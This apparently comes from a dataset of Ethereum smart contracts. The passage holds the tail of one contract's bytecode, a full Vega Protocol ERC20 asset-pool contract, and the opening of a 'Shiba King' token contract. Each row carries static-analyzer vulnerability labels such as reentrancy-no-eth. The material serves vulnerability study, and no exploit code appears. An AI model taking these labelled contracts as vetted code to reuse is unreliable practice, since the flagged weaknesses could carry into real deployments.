fffffffffffffffffffffffff161461303957600080fd5b6000811161304657600080fd5b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156130a9576130a482826133e5565b6130b5565b6130b48383836134e3565b5b505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461311357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561314d57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828284019150811015613255576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161324c906149c3565b60405180910390fd5b92915050565b600060608573ffffffffffffffffffffffffffffffffffffffff166323b872dd868686604051602401613290939291906147f3565b6040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516132de919061477d565b6000604051808303816000865af19150503d806000811461331b576040519150601f19603f3d011682016040523d82523d6000602084013e613320565b606091505b509150915081801561334e575060008151148061334d57508080602001905181019061334c9190613ca6565b5b5b61338d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161338490614a63565b60405180910390fd5b505050505050565b60008282840391508111156133df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016133d690614963565b60405180910390fd5b92915050565b60008273ffffffffffffffffffffffffffffffffffffffff1682600067ffffffffffffffff8111801561341757600080fd5b506040519080825280601f01601f19166020018201604052801561344a5781602001600182028036833780820191505090505b50604051613458919061477d565b60006040518083038185875af1925050503d8060008114613495576040519150601f19603f3d011682016040523d82523d6000602084013e61349a565b606091505b50509050806134de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016134d590614a23565b60405180910390fd5b505050565b600060608473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb858560405160240161351692919061482a565b6040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051613564919061477d565b6000604051808303816000865af19150503d80600081146135a1576040519150601f19603f3d011682016040523d82523d6000602084013e6135a6565b606091505b50915091508180156135d457506000815114806135d35750808060200190518101906135d29190613ca6565b5b5b613613576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161360a90614943565b60405180910390fd5b5050505050565b600080821480613637575082828385029250828161363457fe5b04145b613676576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161366d906149e3565b60405180910390fd5b92915050565b60008082116136c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016136b790614983565b60405180910390fd5b8183816136c957fe5b04905092915050565b60405180606001604052806000815260200160008152602001600081525090565b6040518060600160405280600073ffffffffffffffffffffffffffffffffffffffff16815260200160008152602001600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061376b57805160ff1916838001178555613799565b82800160010185558215613799579182015b8281111561379857825182559160200191906001019061377d565b5b5090506137a69190613903565b5090565b604051806080016040528060008152602001600073ffffffffffffffffffffffffffffffffffffffff16815260200160608152602001600081525090565b6040518060c00160405280600073ffffffffffffffffffffffffffffffffffffffff16815260200160608152602001606081526020016060815260200160008152602001600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061386d57805485556138aa565b828001600101855582156138aa57600052602060002091601f016020900482015b828111156138a957825482559160010191906001019061388e565b5b5090506138b79190613903565b5090565b50805460018160011615610100020316600290046000825580601f106138e15750613900565b601f0160209004906000526020600020908101906138ff9190613903565b5b50565b61392591905b80821115613921576000816000905550600101613909565b5090565b90565b60008135905061393781614e05565b92915050565b600082601f83011261394e57600080fd5b813561396161395c82614b84565b614b57565b9150818183526020840193506020810190508385602084028201111561398657600080fd5b60005b838110156139b6578161399c8882613928565b845260208401935060208301925050600181019050613989565b5050505092915050565b600082601f8301126139d157600080fd5b81356139e46139df82614bac565b614b57565b91508181835260208401935060208101905083856020840282011115613a0957600080fd5b60005b83811015613a395781613a1f8882613b00565b845260208401935060208301925050600181019050613a0c565b5050505092915050565b600081519050613a5281614e1c565b92915050565b600082601f830112613a6957600080fd5b8135613a7c613a7782614bd4565b614b57565b91508082526020830160208301858383011115613a9857600080fd5b613aa3838284614db2565b50505092915050565b600082601f830112613abd57600080fd5b8151613ad0613acb82614bd4565b614b57565b91508082526020830160208301858383011115613aec57600080fd5b613af7838284614dc1565b50505092915050565b600081359050613b0f81614e33565b92915050565b600081519050613b2481614e33565b92915050565b600081519050613b3981614e4a565b92915050565b600060208284031215613b5157600080fd5b6000613b5f84828501613928565b91505092915050565b600080600060608486031215613b7d57600080fd5b6000613b8b86828701613928565b9350506020613b9c86828701613928565b9250506040613bad86828701613b00565b9150509250925092565b600080600080600060a08688031215613bcf57600080fd5b600086013567ffffffffffffffff811115613be957600080fd5b613bf5888289016139c0565b955050602086013567ffffffffffffffff811115613c1257600080fd5b613c1e8882890161393d565b945050604086013567ffffffffffffffff811115613c3b57600080fd5b613c478882890161393d565b935050606086013567ffffffffffffffff811115613c6457600080fd5b613c70888289016139c0565b925050608086013567ffffffffffffffff811115613c8d57600080fd5b613c99888289016139c0565b9150509295509295909350565b600060208284031215613cb857600080fd5b6000613cc684828501613a43565b91505092915050565b600060208284031215613ce157600080fd5b600082015167ffffffffffffffff811115613cfb57600080fd5b613d0784828501613aac565b91505092915050565b600060208284031215613d2257600080fd5b6000613d3084828501613b00565b91505092915050565b600060208284031215613d4b57600080fd5b6000613d5984828501613b15565b91505092915050565b60008060408385031215613d7557600080fd5b6000613d8385828601613b00565b9250506020613d9485828601613928565b9150509250929050565b600080600080600060a08688031215613db657600080fd5b6000613dc488828901613b00565b9550506020613dd588828901613928565b9450506040613de688828901613928565b9350506060613df788828901613b00565b9250506080613e0888828901613b00565b9150509295509295909350565b60008060008060808587031215613e2b57600080fd5b6000613e3987828801613b00565b9450506020613e4a87828801613928565b935050604085013567ffffffffffffffff811115613e6757600080fd5b613e7387828801613a58565b9250506060613e8487828801613b00565b91505092959194509250565b600080600060608486031215613ea557600080fd5b6000613eb386828701613b00565b9350506020613ec486828701613928565b9250506040613ed586828701613b00565b9150509250925092565b60008060408385031215613ef257600080fd5b6000613f0085828601613b00565b9250506020613f1185828601613b00565b9150509250929050565b600080600060608486031215613f3057600080fd5b6000613f3e86828701613b00565b9350506020613f4f86828701613b00565b9250506040613f6086828701613b00565b9150509250925092565b600060208284031215613f7c57600080fd5b6000613f8a84828501613b2a565b91505092915050565b6000613f9f838361453c565b60608301905092915050565b6000613fb7838361457e565b905092915050565b6000613fcb8383614615565b60608301905092915050565b6000613fe38383614699565b905092915050565b613ff481614d7c565b82525050565b61400381614d27565b82525050565b61401281614d27565b82525050565b600061402382614c40565b61402d8185614cb6565b935061403883614c00565b8060005b838110156140695781516140508882613f93565b975061405b83614c82565b92505060018101905061403c565b5085935050505092915050565b600061408182614c4b565b61408b8185614cc7565b93508360208202850161409d85614c10565b8060005b858110156140d957848403895281516140ba8582613fab565b94506140c583614c8f565b925060208a019950506001810190506140a1565b50829750879550505050505092915050565b60006140f682614c56565b6141008185614cd8565b935061410b83614c20565b8060005b8381101561413c5781516141238882613fbf565b975061412e83614c9c565b92505060018101905061410f565b5085935050505092915050565b600061415482614c61565b61415e8185614ce9565b93508360208202850161417085614c30565b8060005b858110156141ac578484038952815161418d8582613fd7565b945061419883614ca9565b925060208a01995050600181019050614174565b50829750879550505050505092915050565b6141c781614d39565b82525050565b60006141d882614c6c565b6141e28185614cfa565b93506141f2818560208601614dc1565b80840191505092915050565b600061420982614c77565b6142138185614d05565b9350614223818560208601614dc1565b61422c81614df4565b840191505092915050565b600061424282614c77565b61424c8185614d16565b935061425c818560208601614dc1565b61426581614df4565b840191505092915050565b600061427d601f83614d16565b91507f5472616e7366657248656c7065723a205452414e534645525f4641494c4544006000830152602082019050919050565b60006142bd600d83614d16565b91507f6d6174685f7375625f6f766572000000000000000000000000000000000000006000830152602082019050919050565b60006142fd600a83614d16565b91507f6d6174685f6469765f30000000000000000000000000000000000000000000006000830152602082019050919050565b600061433d601083614d16565b91507f636861696e206e6f7420666f756e642e000000000000000000000000000000006000830152602082019050919050565b600061437d600d83614d16565b91507f6d6174685f6164645f6f766572000000000000000000000000000000000000006000830152602082019050919050565b60006143bd600d83614d16565b91507f6d6174685f6d756c5f6f766572000000000000000000000000000000000000006000830152602082019050919050565b60006143fd601b83614d16565b91507f7468657265206973206e6f7468696e6720746f2064656c6574652e00000000006000830152602082019050919050565b600061443d602383614d16565b91507f5472616e7366657248656c7065723a204554485f5452414e534645525f46414960008301527f4c454400000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006144a3601483614d16565b91507f77686974656c697374206e6f7420666f756e642e0000000000000000000000006000830152602082019050919050565b60006144e3602483614d16565b91507f5472616e7366657248656c7065723a205452414e534645525f46524f4d5f464160008301527f494c4544000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6060820160008201516145526000850182613ffa565b506020820151614565602085018261475f565b506040820151614578604085018261475f565b50505050565b600060c0830160008301516145966000860182613ffa565b50602083015184820360208601526145ae82826141fe565b915050604083015184820360408601526145c882826141fe565b915050606083015184820360608601526145e282826141fe565b91505060808301516145f7608086018261475f565b5060a083015161460a60a086018261475f565b508091505092915050565b60608201600082015161462b600085018261475f565b50602082015161463e602085018261475f565b506040820151614651604085018261475f565b50505050565b60608201600082015161466d600085018261475f565b506020820151614680602085018261475f565b506040820151614693604085018261475f565b50505050565b60006080830160008301516146b1600086018261475f565b5060208301516146c46020860182613ffa565b50604083015184820360408601526146dc82826141fe565b91505060608301516146f1606086018261475f565b508091505092915050565b6000608083016000830151614714600086018261475f565b5060208301516147276020860182613ffa565b506040830151848203604086015261473f82826141fe565b9150506060830151614754606086018261475f565b508091505092915050565b61476881614d65565b82525050565b61477781614d65565b82525050565b600061478982846141cd565b915081905092915050565b60006020820190506147a96000830184614009565b92915050565b60006020820190506147c46000830184613feb565b92915050565b60006040820190506147df6000830185614009565b6147ec6020830184613feb565b9392505050565b60006060820190506148086000830186614009565b6148156020830185614009565b614822604083018461476e565b949350505050565b600060408201905061483f6000830185614009565b61484c602083018461476e565b9392505050565b6000602082019050818103600083015261486d8184614018565b905092915050565b6000602082019050818103600083015261488f81846140eb565b905092915050565b600060208201905081810360008301526148b18184614149565b905092915050565b60006020820190506148ce60008301846141be565b92915050565b600060c08201905081810360008301526148ee8189614237565b905081810360208301526149028188614237565b9050614911604083018761476e565b61491e606083018661476e565b61492b608083018561476e565b61493860a083018461476e565b979650505050505050565b6000602082019050818103600083015261495c81614270565b9050919050565b6000602082019050818103600083015261497c816142b0565b9050919050565b6000602082019050818103600083015261499c816142f0565b9050919050565b600060208201905081810360008301526149bc81614330565b9050919050565b600060208201905081810360008301526149dc81614370565b9050919050565b600060208201905081810360008301526149fc816143b0565b9050919050565b60006020820190508181036000830152614a1c816143f0565b9050919050565b60006020820190508181036000830152614a3c81614430565b9050919050565b60006020820190508181036000830152614a5c81614496565b9050919050565b60006020820190508181036000830152614a7c816144d6565b9050919050565b6000606082019050614a986000830184614657565b92915050565b60006020820190508181036000830152614ab881846146fc565b905092915050565b6000602082019050614ad5600083018461476e565b92915050565b6000604082019050614af0600083018561476e565b614afd602083018461476e565b9392505050565b6000608082019050614b19600083018761476e565b614b26602083018661476e565b8181036040830152614b3881856140eb565b90508181036060830152614b4c8184614076565b905095945050505050565b6000604051905081810181811067ffffffffffffffff82111715614b7a57600080fd5b8060405250919050565b600067ffffffffffffffff821115614b9b57600080fd5b602082029050602081019050919050565b600067ffffffffffffffff821115614bc357600080fd5b602082029050602081019050919050565b600067ffffffffffffffff821115614beb57600080fd5b601f19601f8301169050602081019050919050565b6000819050602082019050919050565b6000819050602082019050919050565b6000819050602082019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b6000602082019050919050565b6000602082019050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b6000614d3282614d45565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000614d8782614d8e565b9050919050565b6000614d9982614da0565b9050919050565b6000614dab82614d45565b9050919050565b82818337600083830152505050565b60005b83811015614ddf578082015181840152602081019050614dc4565b83811115614dee576000848401525b50505050565b6000601f19601f8301169050919050565b614e0e81614d27565b8114614e1957600080fd5b50565b614e2581614d39565b8114614e3057600080fd5b50565b614e3c81614d65565b8114614e4757600080fd5b50565b614e5381614d6f565b8114614e5e57600080fd5b5056fea2646970667358221220a2aee8b35c58e6e137fe967688f7e990d8dc088d27307464461a5d18e2ffe9e164736f6c63430006060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 10,307 |
0xdee027072f42eE88bf6920b0d0C271af4e8ff8fb | //SPDX-License-Identifier: MIT
pragma solidity 0.8.1;
/// @title MultisigControl Interface
/// @author Vega Protocol
/// @notice Implementations of this interface are used by the Vega network to control smart contracts without the need for Vega to have any Ethereum of its own.
/// @notice To do this, the Vega validators sign a MultisigControl order to construct a signature bundle. Any interested party can then take that signature bundle and pay the gas to run the command on Ethereum
abstract contract IMultisigControl {
/***************************EVENTS****************************/
event SignerAdded(address new_signer);
event SignerRemoved(address old_signer);
event ThresholdSet(uint16 new_threshold);
/**************************FUNCTIONS*********************/
/// @notice Sets threshold of signatures that must be met before function is executed.
/// @param new_threshold New threshold value
/// @param nonce Vega-assigned single-use number that provides replay attack protection
/// @param signatures Vega-supplied signature bundle of a validator-signed order
/// @notice See MultisigControl for more about signatures
/// @notice Ethereum has no decimals, threshold is % * 10 so 50% == 500 100% == 1000
/// @notice signatures are OK if they are >= threshold count of total valid signers
/// @dev MUST emit ThresholdSet event
function set_threshold(uint16 new_threshold, uint nonce, bytes memory signatures) public virtual;
/// @notice Adds new valid signer and adjusts signer count.
/// @param new_signer New signer address
/// @param nonce Vega-assigned single-use number that provides replay attack protection
/// @param signatures Vega-supplied signature bundle of a validator-signed order
/// @notice See MultisigControl for more about signatures
/// @dev MUST emit 'SignerAdded' event
function add_signer(address new_signer, uint nonce, bytes memory signatures) public virtual;
/// @notice Removes currently valid signer and adjusts signer count.
/// @param old_signer Address of signer to be removed.
/// @param nonce Vega-assigned single-use number that provides replay attack protection
/// @param signatures Vega-supplied signature bundle of a validator-signed order
/// @notice See MultisigControl for more about signatures
/// @dev MUST emit 'SignerRemoved' event
function remove_signer(address old_signer, uint nonce, bytes memory signatures) public virtual;
/// @notice Verifies a signature bundle and returns true only if the threshold of valid signers is met,
/// @notice this is a function that any function controlled by Vega MUST call to be securely controlled by the Vega network
/// @notice message to hash to sign follows this pattern:
/// @notice abi.encode( abi.encode(param1, param2, param3, ... , nonce, function_name_string), validating_contract_or_submitter_address);
/// @notice Note that validating_contract_or_submitter_address is the the submitting party. If on MultisigControl contract itself, it's the submitting ETH address
/// @notice if function on bridge that then calls Multisig, then it's the address of that contract
/// @notice Note also the embedded encoding, this is required to verify what function/contract the function call goes to
/// @return MUST return true if valid signatures are over the threshold
function verify_signatures(bytes memory signatures, bytes memory message, uint nonce) public virtual returns(bool);
/**********************VIEWS*********************/
/// @return Number of valid signers
function get_valid_signer_count() public virtual view returns(uint8);
/// @return Current threshold
function get_current_threshold() public virtual view returns(uint16);
/// @param signer_address target potential signer address
/// @return true if address provided is valid signer
function is_valid_signer(address signer_address) public virtual view returns(bool);
/// @param nonce Nonce to lookup
/// @return true if nonce has been used
function is_nonce_used(uint nonce) public virtual view returns(bool);
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/// @title ERC20 Asset Pool
/// @author Vega Protocol
/// @notice This contract is the target for all deposits to the ERC20 Bridge via ERC20_Bridge_Logic
contract ERC20_Asset_Pool {
event Multisig_Control_Set(address indexed new_address);
event Bridge_Address_Set(address indexed new_address);
/// @return Current MultisigControl contract address
address public multisig_control_address;
/// @return Current ERC20_Bridge_Logic contract address
address public erc20_bridge_address;
/// @param multisig_control The initial MultisigControl contract address
/// @notice Emits Multisig_Control_Set event
constructor(address multisig_control) {
multisig_control_address = multisig_control;
emit Multisig_Control_Set(multisig_control);
}
/// @param new_address The new MultisigControl contract address.
/// @param nonce Vega-assigned single-use number that provides replay attack protection
/// @param signatures Vega-supplied signature bundle of a validator-signed set_multisig_control order
/// @notice See MultisigControl for more about signatures
/// @notice Emits Multisig_Control_Set event
function set_multisig_control(address new_address, uint256 nonce, bytes memory signatures) public {
bytes memory message = abi.encode(new_address, nonce, 'set_multisig_control');
require(IMultisigControl(multisig_control_address).verify_signatures(signatures, message, nonce), "bad signatures");
multisig_control_address = new_address;
emit Multisig_Control_Set(new_address);
}
/// @param new_address The new ERC20_Bridge_Logic contract address.
/// @param nonce Vega-assigned single-use number that provides replay attack protection
/// @param signatures Vega-supplied signature bundle of a validator-signed set_bridge_address order
/// @notice See MultisigControl for more about signatures
/// @notice Emits Bridge_Address_Set event
function set_bridge_address(address new_address, uint256 nonce, bytes memory signatures) public {
bytes memory message = abi.encode(new_address, nonce, 'set_bridge_address');
require(IMultisigControl(multisig_control_address).verify_signatures(signatures, message, nonce), "bad signatures");
erc20_bridge_address = new_address;
emit Bridge_Address_Set(new_address);
}
/// @notice This function can only be run by the current "multisig_control_address" and, if available, will send the target tokens to the target
/// @param token_address Contract address of the ERC20 token to be withdrawn
/// @param target Target Ethereum address that the ERC20 tokens will be sent to
/// @param amount Amount of ERC20 tokens to withdraw
/// @dev amount is in whatever the lowest decimal value the ERC20 token has. For instance, an 18 decimal ERC20 token, 1 "amount" == 0.000000000000000001
/// @return true if transfer was successful.
function withdraw(address token_address, address target, uint256 amount) public returns(bool) {
require(msg.sender == erc20_bridge_address, "msg.sender not authorized bridge");
require(IERC20(token_address).transfer(target, amount), "token transfer failed");
return true;
}
}
/**
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMWEMMMMMMMMMMMMMMMMMMMMMMMMMM...............MMMMMMMMMMMMM
MMMMMMLOVEMMMMMMMMMMMMMMMMMMMMMM...............MMMMMMMMMMMMM
MMMMMMMMMMHIXELMMMMMMMMMMMM....................MMMMMNNMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMM....................MMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMM88=........................+MMMMMMMMMM
MMMMMMMMMMMMMMMMM....................MMMMM...MMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMM....................MMMMM...MMMMMMMMMMMMMMM
MMMMMMMMMMMM.........................MM+..MMM....+MMMMMMMMMM
MMMMMMMMMNMM...................... ..MM?..MMM.. .+MMMMMMMMMM
MMMMNDDMM+........................+MM........MM..+MMMMMMMMMM
MMMMZ.............................+MM....................MMM
MMMMZ.............................+MM....................MMM
MMMMZ.............................+MM....................DDD
MMMMZ.............................+MM..ZMMMMMMMMMMMMMMMMMMMM
MMMMZ.............................+MM..ZMMMMMMMMMMMMMMMMMMMM
MM..............................MMZ....ZMMMMMMMMMMMMMMMMMMMM
MM............................MM.......ZMMMMMMMMMMMMMMMMMMMM
MM............................MM.......ZMMMMMMMMMMMMMMMMMMMM
MM......................ZMMMMM.......MMMMMMMMMMMMMMMMMMMMMMM
MM............... ......ZMMMMM.... ..MMMMMMMMMMMMMMMMMMMMMMM
MM...............MMMMM88~.........+MM..ZMMMMMMMMMMMMMMMMMMMM
MM.......$DDDDDDD.......$DDDDD..DDNMM..ZMMMMMMMMMMMMMMMMMMMM
MM.......$DDDDDDD.......$DDDDD..DDNMM..ZMMMMMMMMMMMMMMMMMMMM
MM.......ZMMMMMMM.......ZMMMMM..MMMMM..ZMMMMMMMMMMMMMMMMMMMM
MMMMMMMMM+.......MMMMM88NMMMMM..MMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMM+.......MMMMM88NMMMMM..MMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM*/ | 0x608060405234801561001057600080fd5b50600436106100575760003560e01c806363bb28e01461005c578063aeed8f9514610078578063b82d5abd14610094578063d9caed12146100b2578063e98dfffd146100e2575b600080fd5b610076600480360381019061007191906106e4565b610100565b005b610092600480360381019061008d91906106e4565b61029e565b005b61009c61043b565b6040516100a99190610889565b60405180910390f35b6100cc60048036038101906100c79190610695565b61045f565b6040516100d99190610945565b60405180910390f35b6100ea6105c8565b6040516100f79190610889565b60405180910390f35b600083836040516020016101159291906108cd565b604051602081830303815290604052905060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ba73659a8383866040518463ffffffff1660e01b815260040161018393929190610960565b602060405180830381600087803b15801561019d57600080fd5b505af11580156101b1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101d5919061074b565b610214576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161020b906109e5565b60405180910390fd5b83600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff167ff57d83269802e794395bfd99d93c82bf997d03ec73f8d4c607e8ff18b8cc62f260405160405180910390a250505050565b600083836040516020016102b3929190610909565b604051602081830303815290604052905060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ba73659a8383866040518463ffffffff1660e01b815260040161032193929190610960565b602060405180830381600087803b15801561033b57600080fd5b505af115801561034f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610373919061074b565b6103b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103a9906109e5565b60405180910390fd5b836000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff167f1143e675ad794f5bd81a05b165b166be3a4e91f17d065f08809d88cefbd6540660405160405180910390a250505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146104f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e8906109a5565b60405180910390fd5b8373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff1660e01b815260040161052c9291906108a4565b602060405180830381600087803b15801561054657600080fd5b505af115801561055a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061057e919061074b565b6105bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b4906109c5565b60405180910390fd5b600190509392505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006106016105fc84610a2a565b610a05565b90508281526020810184848401111561061957600080fd5b610624848285610ad0565b509392505050565b60008135905061063b81610c50565b92915050565b60008151905061065081610c67565b92915050565b600082601f83011261066757600080fd5b81356106778482602086016105ee565b91505092915050565b60008135905061068f81610c7e565b92915050565b6000806000606084860312156106aa57600080fd5b60006106b88682870161062c565b93505060206106c98682870161062c565b92505060406106da86828701610680565b9150509250925092565b6000806000606084860312156106f957600080fd5b60006107078682870161062c565b935050602061071886828701610680565b925050604084013567ffffffffffffffff81111561073557600080fd5b61074186828701610656565b9150509250925092565b60006020828403121561075d57600080fd5b600061076b84828501610641565b91505092915050565b61077d81610a88565b82525050565b61078c81610a9a565b82525050565b600061079d82610a5b565b6107a78185610a66565b93506107b7818560208601610adf565b6107c081610b72565b840191505092915050565b60006107d8601283610a77565b91506107e382610b83565b602082019050919050565b60006107fb601483610a77565b915061080682610bac565b602082019050919050565b600061081e602083610a77565b915061082982610bd5565b602082019050919050565b6000610841601583610a77565b915061084c82610bfe565b602082019050919050565b6000610864600e83610a77565b915061086f82610c27565b602082019050919050565b61088381610ac6565b82525050565b600060208201905061089e6000830184610774565b92915050565b60006040820190506108b96000830185610774565b6108c6602083018461087a565b9392505050565b60006060820190506108e26000830185610774565b6108ef602083018461087a565b8181036040830152610900816107cb565b90509392505050565b600060608201905061091e6000830185610774565b61092b602083018461087a565b818103604083015261093c816107ee565b90509392505050565b600060208201905061095a6000830184610783565b92915050565b6000606082019050818103600083015261097a8186610792565b9050818103602083015261098e8185610792565b905061099d604083018461087a565b949350505050565b600060208201905081810360008301526109be81610811565b9050919050565b600060208201905081810360008301526109de81610834565b9050919050565b600060208201905081810360008301526109fe81610857565b9050919050565b6000610a0f610a20565b9050610a1b8282610b12565b919050565b6000604051905090565b600067ffffffffffffffff821115610a4557610a44610b43565b5b610a4e82610b72565b9050602081019050919050565b600081519050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000610a9382610aa6565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b83811015610afd578082015181840152602081019050610ae2565b83811115610b0c576000848401525b50505050565b610b1b82610b72565b810181811067ffffffffffffffff82111715610b3a57610b39610b43565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f7365745f6272696467655f616464726573730000000000000000000000000000600082015250565b7f7365745f6d756c74697369675f636f6e74726f6c000000000000000000000000600082015250565b7f6d73672e73656e646572206e6f7420617574686f72697a656420627269646765600082015250565b7f746f6b656e207472616e73666572206661696c65640000000000000000000000600082015250565b7f626164207369676e617475726573000000000000000000000000000000000000600082015250565b610c5981610a88565b8114610c6457600080fd5b50565b610c7081610a9a565b8114610c7b57600080fd5b50565b610c8781610ac6565b8114610c9257600080fd5b5056fea2646970667358221220e5000f2af5f8179da456edc62e2da6f9984da23f825d84b206e057b7753c83f964736f6c63430008010033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 10,308 |
0xA495e7c46872274DEA440EF752D2e52c0A3b9cB2 | /* Shiba King (SHIBKING)
TG: https://t.me/shibakingtoken
Token Info below:
Limit Buy, Cooldown, Bot Protection, Dev Fee,
Fair launch, Ownership Rennouce & LP lock,
Community Driven
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
